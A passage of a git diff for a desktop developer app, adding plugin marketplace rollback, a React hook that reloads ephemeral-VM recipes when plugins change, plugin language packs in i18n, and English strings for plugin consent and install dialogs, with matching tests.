+  mounted,
+  mountedRef,
+  plugins,
+  applyCompletedMutation,
+  setPluginListError,
+  setConsentPluginId,
+  setBusyPluginKeys
+}: PluginMarketplaceLifecycleOptions): {
+  rollbackPlugin: PluginHostListEntry | null
+  rollbackError: string | null
+  reloadAfterMutation: (pluginKey: string) => Promise<void>
+  requestRollback: (pluginKey: string) => void
+  cancelRollback: () => void
+  confirmRollback: (pluginKey: string) => Promise<void>
+} {
+  const [rollbackPluginId, setRollbackPluginId] = useState<string | null>(null)
+  const [rollbackError, setRollbackError] = useState<string | null>(null)
+  const rollbackPlugin = plugins.find((plugin) => plugin.pluginKey === rollbackPluginId) ?? null
+
+  useEffect(() => {
+    if (!mounted || (rollbackPluginId && !rollbackPlugin)) {
+      setRollbackPluginId(null)
+      setRollbackError(null)
+    }
+  }, [mounted, rollbackPlugin, rollbackPluginId])
+
+  const reloadAfterMutation = async (pluginKey: string): Promise<void> => {
+    try {
+      const nextPlugins = await window.api.plugins.list()
+      if (!mountedRef.current) {
+        return
+      }
+      applyCompletedMutation(nextPlugins)
+      const changedPlugin = nextPlugins.find((plugin) => plugin.pluginKey === pluginKey)
+      if (changedPlugin?.needsReconsent || changedPlugin?.status === 'pending') {
+        setConsentPluginId(pluginKey)
+      }
+    } catch (cause) {
+      if (mountedRef.current) {
+        setPluginListError(cause)
+      }
+    }
+  }
+
+  const confirmRollback = async (pluginKey: string): Promise<void> => {
+    setBusyPluginKeys((current) => new Set(current).add(pluginKey))
+    setRollbackError(null)
+    try {
+      const result = await window.api.plugins.rollbackMarketplacePlugin({ pluginKey })
+      if (!result.ok) {
+        throw new Error(result.error)
+      }
+      await reloadAfterMutation(pluginKey)
+      if (mountedRef.current) {
+        setRollbackPluginId(null)
+      }
+    } catch (cause) {
+      console.warn('[plugins] marketplace rollback failed:', cause)
+      if (mountedRef.current) {
+        setRollbackError(
+          translate(
+            'auto.components.settings.PluginsSettingsSection.rollbackFailed',
+            'Could not roll back this plugin. A previous immutable version may not be available.'
+          )
+        )
+      }
+    } finally {
+      if (mountedRef.current) {
+        setBusyPluginKeys((current) => {
+          const next = new Set(current)
+          next.delete(pluginKey)
+          return next
+        })
+      }
+    }
+  }
+
+  return {
+    rollbackPlugin,
+    rollbackError,
+    reloadAfterMutation,
+    requestRollback: (pluginKey) => {
+      setRollbackError(null)
+      setRollbackPluginId(pluginKey)
+    },
+    cancelRollback: () => setRollbackPluginId(null),
+    confirmRollback
+  }
+}
diff --git a/src/renderer/src/hooks/useComposerState-host-context-boundaries.test.ts b/src/renderer/src/hooks/useComposerState-host-context-boundaries.test.ts
index ec3473d5f..6d36c1366 100644
--- a/src/renderer/src/hooks/useComposerState-host-context-boundaries.test.ts
+++ b/src/renderer/src/hooks/useComposerState-host-context-boundaries.test.ts
@@ -10,6 +10,10 @@ import {
 } from './useComposerState'
 
 const HOOK_SOURCE = readFileSync(join(__dirname, 'useComposerState.ts'), 'utf8')
+const RECIPE_OPTIONS_SOURCE = readFileSync(
+  join(__dirname, 'useEphemeralVmRecipeOptions.ts'),
+  'utf8'
+)
 
 function sourceBetween(source: string, startPattern: string, endPattern: string): string {
   const start = source.indexOf(startPattern)
@@ -704,8 +708,12 @@ describe('useComposerState host-context boundaries', () => {
       'const selectedRepoConnectionId'
     )
     expect(recipeLoadSection).toContain('settings?.experimentalEphemeralVms === true')
-    expect(recipeLoadSection).toContain('!ephemeralVmsEnabled')
-    expect(recipeLoadSection).toContain('window.api.ephemeralVm')
+    expect(recipeLoadSection).toContain('useEphemeralVmRecipeOptions')
+    expect(recipeLoadSection).toContain('enabled: ephemeralVmsEnabled')
+    expect(RECIPE_OPTIONS_SOURCE).toContain('args.enabled &&')
+    expect(RECIPE_OPTIONS_SOURCE).toContain('window.api.ephemeralVm')
+    expect(RECIPE_OPTIONS_SOURCE).toContain('window.api.plugins.onChanged')
+    expect(RECIPE_OPTIONS_SOURCE).toContain('requestGeneration')
 
     const submitSection = sourceBetween(
       HOOK_SOURCE,
diff --git a/src/renderer/src/hooks/useComposerState.ts b/src/renderer/src/hooks/useComposerState.ts
index 467f20fee..1d9a4d9d5 100644
--- a/src/renderer/src/hooks/useComposerState.ts
+++ b/src/renderer/src/hooks/useComposerState.ts
@@ -127,6 +127,7 @@ import {
   type NewWorkspaceProjectOption
 } from '@/lib/new-workspace-project-options'
 import { useDetectedAgents } from '@/hooks/useDetectedAgents'
+import { useEphemeralVmRecipeOptions } from '@/hooks/useEphemeralVmRecipeOptions'
 import {
   getFolderSourceRepos,
   getLinkedItemDisplayName,
@@ -723,13 +724,6 @@ export function useComposerState(options: UseComposerStateOptions): UseComposerS
   )
   const selectedRepo = eligibleRepos.find((repo) => repo.id === repoId)
   const selectedRepoIsGit = selectedRepo ? isGitRepoKind(selectedRepo) : false
-  const [ephemeralVmRecipes, setEphemeralVmRecipes] = useState<
-    NonNullable<OrcaHooks['environmentRecipes']>
-  >([])
-  const [selectedEphemeralVmRecipeId, setSelectedEphemeralVmRecipeId] = useState<string | null>(
-    null
-  )
-  const [ephemeralVmRecipeError, setEphemeralVmRecipeError] = useState<string | null>(null)
   const selectedRepoAgentLaunchPlatform = useMemo(() => {
     if (!selectedRepo) {
       return CLIENT_PLATFORM
@@ -822,64 +816,19 @@ export function useComposerState(options: UseComposerStateOptions): UseComposerS
   const selectedRecipeRepoConnectionId = selectedRepo?.connectionId ?? null
   // Why: gate recipe probing on the experimental toggle, since discovery can surface setup errors for a hidden feature.
   const ephemeralVmsEnabled = settings?.experimentalEphemeralVms === true
-  useEffect(() => {
-    let cancelled = false
-    setEphemeralVmRecipes([])
-    setSelectedEphemeralVmRecipeId(null)
-    setEphemeralVmRecipeError(null)
-    if (
-      !ephemeralVmsEnabled ||
-      !selectedRecipeRepoId ||
-      !selectedRepoIsGit ||
-      selectedRecipeRepoConnectionId ||
-      isProjectGroupTarget
-    ) {
-      return () => {
-        cancelled = true
-      }
-    }
-    void window.api.ephemeralVm
-      .listRecipes({ repoId: selectedRecipeRepoId })
-      .then((result) => {
-        if (cancelled) {
-          return
-        }
-        setEphemeralVmRecipes(result.recipes ?? [])
-        setSelectedEphemeralVmRecipeId(
-          initialEphemeralVmRecipeId &&
-            result.recipes?.some((recipe) => recipe.id === initialEphemeralVmRecipeId)
-            ? initialEphemeralVmRecipeId
-            : null
-        )
-        const diagnosticMessages = (result.diagnostics ?? []).map((diagnostic) => {
-          const recipeLabel = `environmentRecipes[${diagnostic.index}]`
-          const fieldLabel = diagnostic.field ? `.${diagnostic.field}` : ''
-          return `${recipeLabel}${fieldLabel}: ${diagnostic.message}`
-        })
-        setEphemeralVmRecipeError(
-          [result.status === 'error' ? result.message : null, ...diagnosticMessages]
-            .filter((message): message is string => Boolean(message))
-            .join('\n') || null
-        )
-      })
-      .catch((error) => {
-        if (cancelled) {
-          return
-        }
-        setEphemeralVmRecipes([])
-        setEphemeralVmRecipeError(error instanceof Error ? error.message : String(error))
-      })
-    return () => {
-      cancelled = true
-    }
-  }, [
-    ephemeralVmsEnabled,
-    initialEphemeralVmRecipeId,
-    isProjectGroupTarget,
-    selectedRecipeRepoConnectionId,
-    selectedRecipeRepoId,
-    selectedRepoIsGit
-  ])
+  const {
+    recipes: ephemeralVmRecipes,
+    selectedRecipeId: selectedEphemeralVmRecipeId,
+    setSelectedRecipeId: setSelectedEphemeralVmRecipeId,
+    error: ephemeralVmRecipeError
+  } = useEphemeralVmRecipeOptions({
+    enabled: ephemeralVmsEnabled,
+    repoId: selectedRecipeRepoId,
+    repoIsGit: selectedRepoIsGit,
+    repoConnectionId: selectedRecipeRepoConnectionId,
+    projectGroupTarget: isProjectGroupTarget,
+    initialRecipeId: initialEphemeralVmRecipeId
+  })
   const selectedRepoConnectionId = selectedRepo?.connectionId ?? null
   const selectedRepoSshState = selectedRepoConnectionId
     ? (sshConnectionStates.get(selectedRepoConnectionId) ?? null)
diff --git a/src/renderer/src/hooks/useEphemeralVmRecipeOptions.test.tsx b/src/renderer/src/hooks/useEphemeralVmRecipeOptions.test.tsx
new file mode 100644
index 000000000..6439bc43a
--- /dev/null
+++ b/src/renderer/src/hooks/useEphemeralVmRecipeOptions.test.tsx
@@ -0,0 +1,148 @@
+// @vitest-environment happy-dom
+
+import { act } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { useEphemeralVmRecipeOptions } from './useEphemeralVmRecipeOptions'
+
+globalThis.IS_REACT_ACT_ENVIRONMENT = true
+
+type RecipeListResult = Awaited<ReturnType<typeof window.api.ephemeralVm.listRecipes>>
+
+const roots: Root[] = []
+
+afterEach(async () => {
+  await act(async () => {
+    roots.splice(0).forEach((root) => root.unmount())
+  })
+  document.body.innerHTML = ''
+  vi.restoreAllMocks()
+})
+
+function result(ids: string[]): RecipeListResult {
+  return {
+    status: 'ok',
+    repoPath: '/repo',
+    diagnostics: [],
+    recipes: ids.map((id) => ({ id, name: id, create: `create-${id}` }))
+  }
+}
+
+function deferred<T>(): { promise: Promise<T>; resolve: (value: T) => void } {
+  let resolve!: (value: T) => void
+  const promise = new Promise<T>((settle) => {
+    resolve = settle
+  })
+  return { promise, resolve }
+}
+
+function installApi(listRecipes: ReturnType<typeof vi.fn>): {
+  emit: (contentPacksChanged?: boolean) => void
+} {
+  let listener: ((event: { contentPacksChanged: boolean }) => void) | null = null
+  window.api = {
+    ephemeralVm: { listRecipes },
+    plugins: {
+      onChanged: vi.fn((nextListener) => {
+        listener = nextListener
+        return () => {
+          listener = null
+        }
+      })
+    }
+  } as never
+  return {
+    emit: (contentPacksChanged = true) => listener?.({ contentPacksChanged })
+  }
+}
+
+function Harness({
+  repoId,
+  initialRecipeId,
+  enabled = true
+}: {
+  repoId: string
+  initialRecipeId?: string
+  enabled?: boolean
+}): React.JSX.Element {
+  const state = useEphemeralVmRecipeOptions({
+    enabled,
+    repoId,
+    repoIsGit: true,
+    repoConnectionId: null,
+    projectGroupTarget: false,
+    initialRecipeId
+  })
+  return (
+    <div>
+      <span data-testid="repo">{repoId}</span>
+      <span data-testid="recipes">{state.recipes.map((recipe) => recipe.id).join(',')}</span>
+      <span data-testid="selected">{state.selectedRecipeId ?? 'none'}</span>
+    </div>
+  )
+}
+
+async function render(
+  element: React.ReactNode
+): Promise<{ root: Root; container: HTMLDivElement }> {
+  const container = document.createElement('div')
+  document.body.appendChild(container)
+  const root = createRoot(container)
+  roots.push(root)
+  await act(async () => root.render(element))
+  return { root, container }
+}
+
+describe('useEphemeralVmRecipeOptions', () => {
+  it('refetches on plugin lifecycle changes and clears only a removed selection', async () => {
+    const listRecipes = vi
+      .fn()
+      .mockResolvedValueOnce(result(['repo', 'plugin']))
+      .mockResolvedValueOnce(result(['repo', 'plugin', 'new-plugin']))
+      .mockResolvedValueOnce(result(['repo']))
+    const changes = installApi(listRecipes)
+    const { container } = await render(<Harness repoId="repo-1" initialRecipeId="plugin" />)
+    await vi.waitFor(() =>
+      expect(container.querySelector('[data-testid="selected"]')?.textContent).toBe('plugin')
+    )
+
+    await act(async () => changes.emit())
+    await vi.waitFor(() =>
+      expect(container.querySelector('[data-testid="recipes"]')?.textContent).toContain(
+        'new-plugin'
+      )
+    )
+    expect(container.querySelector('[data-testid="selected"]')?.textContent).toBe('plugin')
+
+    await act(async () => changes.emit())
+    await vi.waitFor(() =>
+      expect(container.querySelector('[data-testid="selected"]')?.textContent).toBe('none')
+    )
+    expect(container.querySelector('[data-testid="repo"]')?.textContent).toBe('repo-1')
+  })
+
+  it('ignores a stale recipe response after switching projects', async () => {
+    const first = deferred<RecipeListResult>()
+    const second = deferred<RecipeListResult>()
+    installApi(vi.fn().mockReturnValueOnce(first.promise).mockReturnValueOnce(second.promise))
+    const { root, container } = await render(<Harness repoId="repo-1" />)
+
+    await act(async () => root.render(<Harness repoId="repo-2" />))
+    await act(async () => second.resolve(result(['new-project'])))
+    await act(async () => first.resolve(result(['stale-project'])))
+
+    await vi.waitFor(() =>
+      expect(container.querySelector('[data-testid="recipes"]')?.textContent).toBe('new-project')
+    )
+    expect(container.textContent).not.toContain('stale-project')
+  })
+
+  it('does not probe recipes while the feature is disabled', async () => {
+    const listRecipes = vi.fn().mockResolvedValue(result(['hidden']))
+    installApi(listRecipes)
+
+    await render(<Harness repoId="repo-1" enabled={false} />)
+
+    expect(listRecipes).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/renderer/src/hooks/useEphemeralVmRecipeOptions.ts b/src/renderer/src/hooks/useEphemeralVmRecipeOptions.ts
new file mode 100644
index 000000000..3bee2c8c6
--- /dev/null
+++ b/src/renderer/src/hooks/useEphemeralVmRecipeOptions.ts
@@ -0,0 +1,100 @@
+import { useCallback, useEffect, useRef, useState } from 'react'
+import type { OrcaVmRecipe } from '../../../shared/types'
+
+type EphemeralVmRecipeOptionsArgs = {
+  enabled: boolean
+  repoId: string | null
+  repoIsGit: boolean
+  repoConnectionId: string | null
+  projectGroupTarget: boolean
+  initialRecipeId?: string
+}
+
+export function useEphemeralVmRecipeOptions(args: EphemeralVmRecipeOptionsArgs): {
+  recipes: OrcaVmRecipe[]
+  selectedRecipeId: string | null
+  setSelectedRecipeId: (recipeId: string | null) => void
+  error: string | null
+} {
+  const [recipes, setRecipes] = useState<OrcaVmRecipe[]>([])
+  const [selectedRecipeId, setSelectedRecipeId] = useState<string | null>(null)
+  const [error, setError] = useState<string | null>(null)
+  const requestGeneration = useRef(0)
+  const canLoad =
+    args.enabled &&
+    Boolean(args.repoId) &&
+    args.repoIsGit &&
+    !args.repoConnectionId &&
+    !args.projectGroupTarget
+
+  const load = useCallback(
+    (resetSelection: boolean): void => {
+      const generation = ++requestGeneration.current
+      if (resetSelection) {
+        setRecipes([])
+        setSelectedRecipeId(null)
+        setError(null)
+      }
+      if (!canLoad || !args.repoId) {
+        return
+      }
+      void window.api.ephemeralVm
+        .listRecipes({ repoId: args.repoId })
+        .then((result) => {
+          if (generation !== requestGeneration.current) {
+            return
+          }
+          const nextRecipes = result.recipes ?? []
+          setRecipes(nextRecipes)
+          setSelectedRecipeId((current) => {
+            if (resetSelection) {
+              return args.initialRecipeId &&
+                nextRecipes.some((recipe) => recipe.id === args.initialRecipeId)
+                ? args.initialRecipeId
+                : null
+            }
+            return current && nextRecipes.some((recipe) => recipe.id === current) ? current : null
+          })
+          const diagnosticMessages = (result.diagnostics ?? []).map((diagnostic) => {
+            const recipeLabel = `environmentRecipes[${diagnostic.index}]`
+            const fieldLabel = diagnostic.field ? `.${diagnostic.field}` : ''
+            return `${recipeLabel}${fieldLabel}: ${diagnostic.message}`
+          })
+          setError(
+            [result.status === 'error' ? result.message : null, ...diagnosticMessages]
+              .filter((message): message is string => Boolean(message))
+              .join('\n') || null
+          )
+        })
+        .catch((cause) => {
+          if (generation !== requestGeneration.current) {
+            return
+          }
+          setRecipes([])
+          setSelectedRecipeId(null)
+          setError(cause instanceof Error ? cause.message : String(cause))
+        })
+    },
+    [args.initialRecipeId, args.repoId, canLoad]
+  )
+
+  useEffect(() => {
+    load(true)
+    return () => {
+      requestGeneration.current += 1
+    }
+  }, [load])
+
+  useEffect(() => {
+    if (!window.api.plugins?.onChanged) {
+      return
+    }
+    return window.api.plugins.onChanged((event) => {
+      if (event?.contentPacksChanged ?? true) {
+        load(false)
+      }
+    })
+  }, [load])
+
+  return { recipes, selectedRecipeId, setSelectedRecipeId, error }
+}
diff --git a/src/renderer/src/hooks/useSettingsNavigationMetadata.test.ts b/src/renderer/src/hooks/useSettingsNavigationMetadata.test.ts
index b827cedcb..4878f3cd9 100644
--- a/src/renderer/src/hooks/useSettingsNavigationMetadata.test.ts
+++ b/src/renderer/src/hooks/useSettingsNavigationMetadata.test.ts
@@ -133,6 +133,20 @@ describe('settings navigation metadata', () => {
     expect(entry?.targetSectionId).toBe('ephemeral-vms')
   })
 
+  it('places Plugins under Experimental on desktop and omits it on the web', () => {
+    const desktopSections = buildSettingsNavigationMetadata({
+      isMac: false,
+      isWindows: false,
+      isWebClient: false,
+      repos: [repo]
+    })
+    const desktopIds = desktopSections.map((section) => section.id)
+
+    expect(desktopSections.find((section) => section.id === 'plugins')?.group).toBe('experimental')
+    expect(desktopIds.indexOf('plugins')).toBe(desktopIds.indexOf('experimental') + 1)
+    expect(ids({ isWebClient: true })).not.toContain('plugins')
+  })
+
   it('omits Windows project runtime search entries when the active host is unsupported', () => {
     const sections = buildSettingsNavigationMetadata({
       isMac: false,
diff --git a/src/renderer/src/hooks/useSettingsNavigationMetadata.ts b/src/renderer/src/hooks/useSettingsNavigationMetadata.ts
index b13ee5f93..8935eba63 100644
--- a/src/renderer/src/hooks/useSettingsNavigationMetadata.ts
+++ b/src/renderer/src/hooks/useSettingsNavigationMetadata.ts
@@ -72,6 +72,7 @@ import { getAdvancedPaneSearchEntries } from '@/components/settings/advanced-sea
 import { getShortcutsPaneSearchEntries } from '@/components/settings/shortcuts-search'
 import { getStatsPaneSearchEntries } from '@/components/stats/stats-search'
 import { getExperimentalPaneSearchEntries } from '@/components/settings/experimental-search'
+import { getPluginsPaneSearchEntries } from '@/components/settings/plugins-search'
 import { getRepositoryPaneSearchEntries } from '@/components/settings/repository-search'
 import { buildSettingsProjectList } from '@/components/settings/settings-project-list'
 import { isWebClientLocation } from '@/lib/web-client-location'
@@ -567,6 +568,21 @@ export function buildSettingsNavigationMetadata({
       searchEntries: getExperimentalPaneSearchEntries(),
       group: 'experimental'
     },
+    ...(showDesktopOnlySettings
+      ? [
+          {
+            id: 'plugins',
+            title: translate('auto.hooks.useSettingsNavigationMetadata.pluginsTitle', 'Plugins'),
+            description: translate(
+              'auto.hooks.useSettingsNavigationMetadata.pluginsDescription',
+              'Install and manage experimental Orca plugins.'
+            ),
+            icon: Blocks,
+            searchEntries: getPluginsPaneSearchEntries(),
+            group: 'experimental'
+          }
+        ]
+      : []),
     // Why: one nav row per project, not per repo row — a project set up on
     // multiple hosts (local + a Remote Orca Server, or two clones) collapses to
     // a single entry. Derived from repos alone so this list matches the panes.
diff --git a/src/renderer/src/i18n/I18nProvider.tsx b/src/renderer/src/i18n/I18nProvider.tsx
index 5cfd2c042..4eab2d543 100644
--- a/src/renderer/src/i18n/I18nProvider.tsx
+++ b/src/renderer/src/i18n/I18nProvider.tsx
@@ -2,8 +2,10 @@ import { useEffect, useRef, type ReactNode } from 'react'
 import { I18nextProvider } from 'react-i18next'
 
 import { useAppStore } from '../store'
-import { i18n } from './i18n'
+import { i18n, setRendererPluginLanguagePacks } from './i18n'
 import { resolveUiLocale } from './supported-languages'
+import { isPluginUiLanguage } from '../../../shared/ui-language'
+import { usePluginLanguagePacks } from '../store/plugin-language-packs'
 
 export function I18nProvider({ children }: { children: ReactNode }): React.JSX.Element {
   // Why: settings arrive async over IPC; until they load we must not apply any
@@ -11,9 +13,20 @@ export function I18nProvider({ children }: { children: ReactNode }): React.JSX.E
   // changeLanguage that raced with (and could permanently override) the
   // persisted preference applied moments later.
   const uiLanguage = useAppStore((state) => state.settings?.uiLanguage ?? null)
-  const locale = uiLanguage === null ? null : resolveUiLocale(uiLanguage)
+  const pluginLanguagePacks = usePluginLanguagePacks()
+  const selectedPluginLanguage = pluginLanguagePacks.find((pack) => pack.id === uiLanguage)
+  const locale =
+    uiLanguage === null
+      ? null
+      : (selectedPluginLanguage?.resourceLanguage ??
+        (isPluginUiLanguage(uiLanguage) ? 'en' : resolveUiLocale(uiLanguage)))
   const requestedLocale = useRef<string | null>(null)
 
+  useEffect(() => {
+    setRendererPluginLanguagePacks(pluginLanguagePacks)
+    requestedLocale.current = null
+  }, [pluginLanguagePacks])
+
   useEffect(() => {
     // Why: track the last *requested* locale instead of checking i18n.language —
     // an in-flight lazy catalog load leaves i18n.language stale, which made the
@@ -23,7 +36,7 @@ export function I18nProvider({ children }: { children: ReactNode }): React.JSX.E
     }
     requestedLocale.current = locale
     void i18n.changeLanguage(locale)
-  }, [locale])
+  }, [locale, pluginLanguagePacks])
 
   return <I18nextProvider i18n={i18n}>{children}</I18nextProvider>
 }
diff --git a/src/renderer/src/i18n/i18n.ts b/src/renderer/src/i18n/i18n.ts
index bc3287c55..3f35e2ec2 100644
--- a/src/renderer/src/i18n/i18n.ts
+++ b/src/renderer/src/i18n/i18n.ts
@@ -10,7 +10,8 @@ import en from './locales/en.json'
 import { isPseudoLocalizationLocale, pseudoLocalizeString } from './pseudo-localization'
 import { DEFAULT_LOCALE, resolveUiLocale } from './supported-languages'
 import type { SupportedUiLocale } from '../../../shared/ui-locale'
-import type { UiLanguage } from '../../../shared/ui-language'
+import { isPluginUiLanguage, type UiLanguage } from '../../../shared/ui-language'
+import type { PluginLanguagePackRegistration } from '../../../shared/plugins/plugin-language-pack-artifact'
 
 export const i18n: I18nInstance = i18next.createInstance()
 
@@ -78,10 +79,36 @@ export function translate(key: string, fallback: string, options?: TOptions): st
 }
 
 export async function setRendererUiLanguage(language: UiLanguage): Promise<void> {
-  const locale = resolveUiLocale(language)
+  const resolved = resolveUiLocale(language)
+  const resourceLanguage = resolveRendererResourceLanguage(resolved)
+  const locale =
+    isPluginUiLanguage(language) && resourceLanguage === resolved
+      ? DEFAULT_LOCALE
+      : resourceLanguage
   if (i18n.language !== locale) {
     // changeLanguage triggers the lazy backend load for non-English locales and
     // resolves once the catalog is in memory.
     await i18n.changeLanguage(locale)
   }
 }
+
+const registeredPluginLanguages = new Set<string>()
+let pluginLanguagePacks: readonly PluginLanguagePackRegistration[] = []
+
+export function resolveRendererResourceLanguage(language: string): string {
+  return pluginLanguagePacks.find((pack) => pack.id === language)?.resourceLanguage ?? language
+}
+
+export function setRendererPluginLanguagePacks(
+  packs: readonly PluginLanguagePackRegistration[]
+): void {
+  for (const language of registeredPluginLanguages) {
+    i18n.removeResourceBundle(language, 'translation')
+  }
+  registeredPluginLanguages.clear()
+  pluginLanguagePacks = packs
+  for (const pack of packs) {
+    i18n.addResourceBundle(pack.resourceLanguage, 'translation', pack.catalog, true, true)
+    registeredPluginLanguages.add(pack.resourceLanguage)
+  }
+}
diff --git a/src/renderer/src/i18n/lazy-locale.test.ts b/src/renderer/src/i18n/lazy-locale.test.ts
index 0795a52f6..87c6e9559 100644
--- a/src/renderer/src/i18n/lazy-locale.test.ts
+++ b/src/renderer/src/i18n/lazy-locale.test.ts
@@ -5,7 +5,8 @@ import {
   UI_LANGUAGE_ENGLISH,
   UI_LANGUAGE_SPANISH
 } from '../../../shared/ui-language'
-import { i18n, setRendererUiLanguage } from './i18n'
+import { i18n, setRendererPluginLanguagePacks, setRendererUiLanguage } from './i18n'
+import { pluginLanguageResourceId } from '../../../shared/plugins/plugin-language-pack-artifact'
 
 // Why: the renderer now lazy-loads non-English catalogs through an i18next
 // backend instead of bundling all five into the startup chunk. This guards the
@@ -17,6 +18,7 @@ import { i18n, setRendererUiLanguage } from './i18n'
 
 describe('renderer i18n lazy locale loading', () => {
   beforeEach(async () => {
+    setRendererPluginLanguagePacks([])
     await i18n.changeLanguage('en')
   })
 
@@ -42,4 +44,25 @@ describe('renderer i18n lazy locale loading', () => {
     await setRendererUiLanguage(UI_LANGUAGE_ENGLISH)
     expect(i18n.t('menu.file', { defaultValue: 'File' })).toBe('File')
   })
+
+  it('loads an isolated catalog contributed by an enabled plugin', async () => {
+    const id = 'plugin:orca-samples.portuguese/pt-BR' as const
+    setRendererPluginLanguagePacks([
+      {
+        id,
+        resourceLanguage: pluginLanguageResourceId(id),
+        pluginKey: 'orca-samples.portuguese',
+        locale: 'pt-BR',
+        catalog: { menu: { file: 'Arquivo Orca' } }
+      }
+    ])
+
+    await setRendererUiLanguage(id)
+    expect(i18n.language).toBe(pluginLanguageResourceId(id))
+    expect(i18n.t('menu.file', { defaultValue: 'File' })).toBe('Arquivo Orca')
+
+    setRendererPluginLanguagePacks([])
+    await setRendererUiLanguage(id)
+    expect(i18n.language).toBe('en')
+  })
 })
diff --git a/src/renderer/src/i18n/locales/en.json b/src/renderer/src/i18n/locales/en.json
index f1a8649e2..a8e950f09 100644
--- a/src/renderer/src/i18n/locales/en.json
+++ b/src/renderer/src/i18n/locales/en.json
@@ -155,7 +155,8 @@
       "fe21e8f6f5": "Go back ({{value0}})",
       "064bd07810": "Go back",
       "ce37cf5279": "Toggle sidebar ({{value0}})",
-      "e4b9e7dff7": "Toggle sidebar"
+      "e4b9e7dff7": "Toggle sidebar",
+      "pluginCommandFailed": "Could not run the plugin command."
     },
     "web": {
       "WebConnect": {
@@ -615,6 +616,9 @@
           }
         }
       },
+      "pluginCommandKeybindings": {
+        "group": "Plugins"
+      },
       "linear": {
         "usage": {
           "examples": {
@@ -757,6 +761,8 @@
         "devSearchKeywordSonner": "sonner",
         "devSearchKeywordError": "error",
         "devSearchKeywordNotification": "notification",
+        "pluginsTitle": "Plugins",
+        "pluginsDescription": "Install and manage experimental Orca plugins.",
         "projectHostsSummary": "{{value0}} hosts",
         "linearTitle": "Linear",
         "linearDescription": "Give agents the skill to read and update your linked Linear tickets."
@@ -1936,7 +1942,8 @@
         "workspaceTabMissing": "Tab no longer exists",
         "projectsGroupsHeader": "Projects & Groups",
         "projectBadge": "Project",
-        "repoGroupBadge": "Repo group"
+        "repoGroupBadge": "Repo group",
+        "pluginCommandFailed": "Could not run the plugin command."
       },
       "github": {
         "pr": {
@@ -6763,7 +6770,8 @@
           "25b0004fbf": "Terminal active",
           "781cb74d22": "Runs from terminal panes.",
           "cb02e00202": "Terminal",
-          "d8c988dab4": "~/.orca/keybindings.json"
+          "d8c988dab4": "~/.orca/keybindings.json",
+          "shortcutUnavailable": "Shortcut is no longer available."
         },
         "SourceControlAiActionRecipeDefaults": {
           "2576299196": "args",
@@ -9261,7 +9269,7 @@
           "copy": "Copy",
           "copied": "Copied",
           "recipes": "Recipes",
-          "recipesHelp": "Recipes your agent adds to orca.yaml show up here, ready to launch a workspace on.",
+          "recipesHelp": "Recipes from orca.yaml and enabled plugins show up here, ready to launch a workspace on.",
           "refresh": "Refresh ephemeral VM recipes",
           "checking": "Checking recipes...",
           "none": "No recipes found yet."
@@ -9333,6 +9341,285 @@
           "567633ff50": "Right-click pastes the clipboard into the terminal. Control-click to open the context menu.",
           "c64497148a": "Right-click pastes the clipboard. Control-click opens the context menu."
         },
+        "PluginConsentDialog": {
+          "workerTrust": "Background worker — runs its own process",
+          "panelTrust": "Panel or host-integrated content — no worker process",
+          "decisionFailed": "Could not save the permission decision. Try again.",
+          "title": "Review permissions",
+          "mixedTitle": "Review access and content",
+          "instructionalTitle": "Review plugin content",
+          "subtitle": "{{value0}} v{{value1}} · {{value2}}",
+          "reconsent": "Permissions, the worker trust tier, or instructional content changed since you last reviewed this plugin. Review it again before it can run.",
+          "source": "Source",
+          "unknownSource": "Not available",
+          "commit": "Commit",
+          "localCommit": "Not available (local folder)",
+          "trust": "Trust tier",
+          "capabilities": "This plugin can",
+          "warning": "These permissions limit how the plugin uses Orca's API. Its worker still runs as a normal process on your computer with full access to your files, network, and other processes.",
+          "enable": "Enable plugin",
+          "keepDisabled": "Keep Disabled",
+          "panelWarning": "These permissions limit how the plugin uses Orca's API. This plugin has no background worker.",
+          "instructionalWarning": "This plugin has no worker process. Its instructional content can still cause actions when you or an agent use it. Review the instructions and commands below before enabling it.",
+          "capability": {
+            "workspaceRead": "Read the name, branch, and terminal list of your focused worktree",
+            "terminalSend": "Type text into a terminal you can see (always a specific terminal)",
+            "notificationsShow": "Show desktop notifications labeled with the plugin name",
+            "storage": "Store data in the plugin's own storage folder",
+            "secrets": "Store and read secrets in the plugin's own encrypted vault",
+            "eventsSubscribe": "Get notified when worktrees are created or removed and when agent status changes",
+            "settingsOwn": "Read and change the plugin's own settings"
+          },
+          "skillWarning": "This plugin installs instructional skills. Agents read those instructions and may act on them with the full authority you give the agent.",
+          "instructionalTrust": "Instructional content — runs later under user or agent authority",
+          "declarativeTrust": "Declarative content — no plugin code",
+          "reviewTitle": "Review plugin",
+          "declarativeWarning": "This plugin contributes validated content only. It does not run a background worker or receive access to Orca's API.",
+          "trustShortWorker": "Worker",
+          "trustShortInstructional": "Instructional",
+          "trustShortPanel": "Panel",
+          "trustShortDeclarative": "Declarative"
+        },
+        "PluginDevelopmentSection": {
+          "pathRequired": "Enter a plugin folder path.",
+          "title": "Development",
+          "help": "Load plugins directly from folders on this computer while you develop them. Dev plugins still require permission review. Workers run on this desktop host; SSH workspace actions route through Orca, so paths here are desktop paths.",
+          "remove": "Remove",
+          "placeholder": "/Users/you/plugins/my-plugin or C:\\Users\\you\\plugins\\my-plugin",
+          "add": "Add path",
+          "saveFailed": "Could not save development plugin paths.",
+          "pathLabel": "Development plugin folder path"
+        },
+        "PluginInstallDialog": {
+          "localRequired": "Enter the plugin folder path.",
+          "gitUrlRequired": "Enter a repository URL.",
+          "gitRefRequired": "Add an explicit #ref (tag or commit) so the install is pinned — for example #v0.1.0.",
+          "installFailed": "Plugin installation failed. Check the source and try again.",
+          "title": "Install plugin",
+          "description": "Installing copies the plugin into Orca and shows its permissions for review. No plugin code runs until you enable it.",
+          "source": "Install source",
+          "localTab": "Local folder",
+          "gitTab": "Git URL",
+          "localLabel": "Plugin folder path",
+          "localPlaceholder": "/Users/you/plugins/my-plugin or C:\\Users\\you\\plugins\\my-plugin",
+          "localHelp": "Full path to a folder containing orca-plugin.json on this computer. The path is used exactly as entered.",
+          "gitLabel": "Repository URL with #ref",
+          "gitPlaceholder": "https://git.example/acme/orca-notes#v0.1.0",
+          "gitHelp": "Append an explicit #ref — a tag or commit — so the install is pinned. Works with GitHub, GitLab, and any git host.",
+          "cancel": "Cancel",
+          "installing": "Installing…",
+          "install": "Install",
+          "gitUrlInvalid": "Use an HTTPS or SSH Git URL. Executable Git helper protocols are not allowed."
+        },
